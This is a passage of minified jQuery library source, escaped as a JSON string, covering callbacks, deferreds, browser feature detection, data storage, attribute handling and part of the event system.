\")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener(\"DOMContentLoaded\",B,!1),e.ready()}:c.attachEvent\u0026\u0026(B=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var d,e,g,h,i;for(d=0,e=b.length;d\u003ce;d++)g=b[d],h=f.type(g),h===\"array\"?n(g):h===\"function\"\u0026\u0026(!a.unique||!p.has(g))\u0026\u0026c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c\u0026\u0026m\u003cl;m++)if(c[m].apply(b,f)===!1\u0026\u0026a.stopOnFalse){e=!0;break}j=!1,c\u0026\u0026(a.once?e===!0?p.disable():c=[]:d\u0026\u0026d.length\u0026\u0026(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var a=c.length;n(arguments),j?l=c.length:e\u0026\u0026e!==!0\u0026\u0026(k=a,o(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d\u003ce;d++)for(var f=0;f\u003cc.length;f++)if(b[d]===c[f]){j\u0026\u0026f\u003c=l\u0026\u0026(l--,f\u003c=m\u0026\u0026m--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b\u003cd;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)\u0026\u0026p.disable();return this},locked:function(){return!d},fireWith:function(b,c){d\u0026\u0026(j?a.once||d.push([b,c]):(!a.once||!e)\u0026\u0026o(b,c));return this},fire:function(){p.fireWith(this,arguments);return this},fired:function(){return!!i}};return p};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks(\"once memory\"),c=f.Callbacks(\"once memory\"),d=f.Callbacks(\"memory\"),e=\"pending\",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[b,\"reject\"],progress:[c,\"notify\"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g\u0026\u0026f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+\"With\"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+\"With\"]=g[j].fireWith;i.done(function(){e=\"resolved\"},c.disable,d.lock).fail(function(){e=\"rejected\"},b.disable,d.lock),a\u0026\u0026a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length\u003e1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length\u003e1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026b[c].promise\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a\u0026\u0026j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement(\"div\"),q=c.documentElement;p.setAttribute(\"className\",\"t\"),p.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=p.getElementsByTagName(\"*\"),e=p.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=p.getElementsByTagName(\"input\")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName(\"tbody\").length,htmlSerialize:!!p.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:p.className!==\"t\",enctype:!!c.createElement(\"form\").enctype,html5Clone:c.createElement(\"nav\").cloneNode(!0).outerHTML!==\"\u003c:nav\u003e\u003c/:nav\u003e\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode===\"CSS1Compat\",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener\u0026\u0026p.attachEvent\u0026\u0026p.fireEvent\u0026\u0026(p.attachEvent(\"onclick\",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),b.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),i.setAttribute(\"name\",\"t\"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m=\"on\"+n,o=m in p,o||(p.setAttribute(m,\"return;\"),o=typeof p[m]==\"function\"),b[n+\"Bubbles\"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName(\"body\")[0];!u||(m=1,t=\"padding:0;margin:0;border:\",r=\"position:absolute;top:0;left:0;width:1px;height:1px;\",s=t+\"0;visibility:hidden;\",n=\"style='\"+r+t+\"5px solid #000;\",q=\"\u003cdiv \"+n+\"display:block;'\u003e\u003cdiv style='\"+t+\"0;display:block;overflow:hidden;'\u003e\u003c/div\u003e\u003c/div\u003e\"+\"\u003ctable \"+n+\"' cellpadding='0' cellspacing='0'\u003e\"+\"\u003ctr\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",d=c.createElement(\"div\"),d.style.cssText=s+\"width:0;height:0;position:static;top:0;margin-top:\"+m+\"px\",u.insertBefore(d,u.firstChild),p=c.createElement(\"div\"),d.appendChild(p),p.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='\"+t+\"0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",k=p.getElementsByTagName(\"td\"),o=k[0].offsetHeight===0,k[0].style.display=\"\",k[1].style.display=\"none\",b.reliableHiddenOffsets=o\u0026\u0026k[0].offsetHeight===0,a.getComputedStyle\u0026\u0026(p.innerHTML=\"\",l=c.createElement(\"div\"),l.style.width=\"0\",l.style.marginRight=\"0\",p.style.width=\"2px\",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!=\"undefined\"\u0026\u0026(p.innerHTML=\"\",p.style.width=p.style.padding=\"1px\",p.style.border=0,p.style.overflow=\"hidden\",p.style.display=\"inline\",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display=\"block\",p.style.overflow=\"visible\",p.innerHTML=\"\u003cdiv style='width:5px;'\u003e\u003c/div\u003e\",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position=\"fixed\",g.style.top=\"20px\",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top=\"\",e.style.overflow=\"hidden\",e.style.position=\"relative\",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle\u0026\u0026(p.style.marginTop=\"1%\",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!==\"1%\"),typeof d.style.zoom!=\"undefined\"\u0026\u0026(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\\{.*\\}|\\[.*\\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c==\"string\",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]\u0026\u0026j,o=c===\"events\";if((!n||!m[n]||!o\u0026\u0026!e\u0026\u0026!m[n].data)\u0026\u0026k\u0026\u0026d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b\u0026\u0026(h[f.camelCase(c)]=d);if(o\u0026\u0026!h[c])return g.events;k?(i=h[c],i==null\u0026\u0026(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(\" \")));for(e=0,g=b.length;e\u003cg;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i\u0026\u0026(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1\u0026\u0026!f._data(j,\"parsedAttrs\")){g=j.attributes;for(i=g.length;k\u003ci;k++)h=g[k].name,h.indexOf(\"data-\")===0\u0026\u0026(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,\"parsedAttrs\",!0)}}return m}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});d=a.split(\".\",2),d[1]=d[1]?\".\"+d[1]:\"\",e=d[1]+\"!\";return f.access(this,function(c){if(c===b){m=this.triggerHandler(\"getData\"+e,[d[0]]),m===b\u0026\u0026j\u0026\u0026(m=f.data(j,a),m=l(j,a,m));return m===b\u0026\u0026d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var b=f(this);b.triggerHandler(\"setData\"+e,d),f.data(this,a,c),b.triggerHandler(\"changeData\"+e,d)})},null,c,arguments.length\u003e1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a\u0026\u0026(b=(b||\"fx\")+\"mark\",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0\u0026\u0026(c=b,b=a,a=!1);if(b){c=c||\"fx\";var d=c+\"mark\",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,\"mark\"))}},queue:function(a,b,c){var d;if(a){b=(b||\"fx\")+\"queue\",d=f._data(a,b),c\u0026\u0026(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e={};d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),f._data(a,b+\".run\",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+\"queue \"+b+\".run\",!0),n(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\",d--);if(arguments.length\u003cd)return f.queue(this[0],a);return c===b?this:this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f.Callbacks(\"once memory\"),!0))h++,l.add(m);m();return d.promise(c)}});var o=/[\\n\\t\\r]/g,p=/\\s+/,q=/\\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,f.attr,a,b,arguments.length\u003e1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length\u003e1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(p);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(p);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(o,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \",c=0,d=this.length;for(;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(o,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(g,\"value\"))!==b)return d;d=g.value;return typeof d==\"string\"?d.replace(q,\"\"):d==null?\"\":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type===\"select-one\";if(g\u003c0)return null;c=j?g:0,d=j?g+1:i.length;for(;c\u003cd;c++){e=i[c];if(e.selected\u0026\u0026(f.support.optDisabled?!e.disabled:e.getAttribute(\"disabled\")===null)\u0026\u0026(!e.parentNode.disabled||!f.nodeName(e.parentNode,\"optgroup\"))){b=f(e).val();if(j)return b;h.push(b)}}if(j\u0026\u0026!h.length\u0026\u0026i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a\u0026\u0026j!==3\u0026\u0026j!==8\u0026\u0026j!==2){if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute==\"undefined\")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i\u0026\u0026(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h\u0026\u0026\"set\"in h\u0026\u0026i\u0026\u0026(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,\"\"+d);return d}if(h\u0026\u0026\"get\"in h\u0026\u0026i\u0026\u0026(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b\u0026\u0026a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i\u003cg;i++)e=d[i],e\u0026\u0026(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,\"\"),a.removeAttribute(v?e:c),h\u0026\u0026c in a\u0026\u0026(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a\u0026\u0026i!==3\u0026\u0026i!==8\u0026\u0026i!==2){h=i!==1||!f.isXMLDoc(a),h\u0026\u0026(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g\u0026\u0026\"set\"in g\u0026\u0026(e=g.set(a,d,c))!==b?e:a[c]=d:g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!=\"boolean\"\u0026\u0026(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026(y[c]?d.nodeValue!==\"\":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.attrHooks.tabindex.set=w.set,f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===\"\"\u0026\u0026(b=\"false\"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype=\"encoding\"),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\\.]*)?(?:\\.(.+))?$/,B=/(?:^|\\s)hover(\\.\\S+)?\\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\\w*)(?:#([\\w\\-]+))?(?:\\.([\\w\\-]+))?$/,G=function(\na){var b=F.exec(a);b\u0026\u0026(b[1]=(b[1]||\"\").toLowerCase(),b[3]=b[3]\u0026\u0026new RegExp(\"(?:^|\\\\s)\"+b[3]+\"(?:\\\\s|$)\"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])\u0026\u0026(!b[2]||(c.id||{}).value===b[2])\u0026\u0026(!b[3]||b[3].test((c[\"class\"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,\"mouseenter$1 mouseleave$1\")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler\u0026\u0026(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(\" \");for(k=0;k\u003cc.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||\"\").split(\".\").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g\u0026\u0026G(g),namespace:n.join(\".\")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+m,i)}s.add\u0026\u0026(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)\u0026\u0026f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g\u0026\u0026!!(o=g.events)){b=f.trim(I(b||\"\")).split(\" \");for(h=0;h\u003cb.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp(\"(^|\\\\.)\"+l.split(\".\").sort().join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null;for(n=0;n\u003cr.length;n++)s=r[n],(e||k===s.origType)\u0026\u0026(!c||c.guid===s.guid)\u0026\u0026(!l||l.test(s.namespace))\u0026\u0026(!d||d===s.selector||d===\"**\"\u0026\u0026s.selector)\u0026\u0026(r.splice(n--,1),s.selector\u0026\u0026r.delegateCount--,p.remove\u0026\u0026p.remove.call(a,s));r.length===0\u0026\u0026m!==r.length\u0026\u0026((!p.teardown||p.teardown.call(a,l)===!1)\u0026\u0026f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)\u0026\u0026(q=g.handle,q\u0026\u0026(q.elem=null),f.removeData(a,[\"events\",\"handle\"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3\u0026\u0026e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),k=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])\u0026\u0026!f.event.global[h])return;c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join(\".\"),c.namespace_re=c.namespace?new RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null,o=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";if(!e){j=f.cache;for(l in j)j[l].events\u0026\u0026j[l].events[h]\u0026\u0026f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger\u0026\u0026p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g\u0026\u0026!p.noBubble\u0026\u0026!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n\u0026\u0026n===e.ownerDocument\u0026\u0026r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l\u003cr.length\u0026\u0026!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,\"events\")||{})[c.type]\u0026\u0026f._data(m,\"handle\"),q\u0026\u0026q.apply(m,d),q=o\u0026\u0026m[o],q\u0026\u0026f.acceptData(m)\u0026\u0026q.apply(m,d)===!1\u0026\u0026c.preventDefault();c.type=h,!g\u0026\u0026!c.isDefaultPrevented()\u0026\u0026(!p._default||p._default.apply(e.ownerDocument,d)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)\u0026\u0026o\u0026\u0026e[h]\u0026\u0026(h!==\"focus\"\u0026\u0026h!==\"blur\"||c.target.offsetWidth!==0)\u0026\u0026!f.isWindow(e)\u0026\u0026(n=e[o],n\u0026\u0026(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n\u0026\u0026(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var 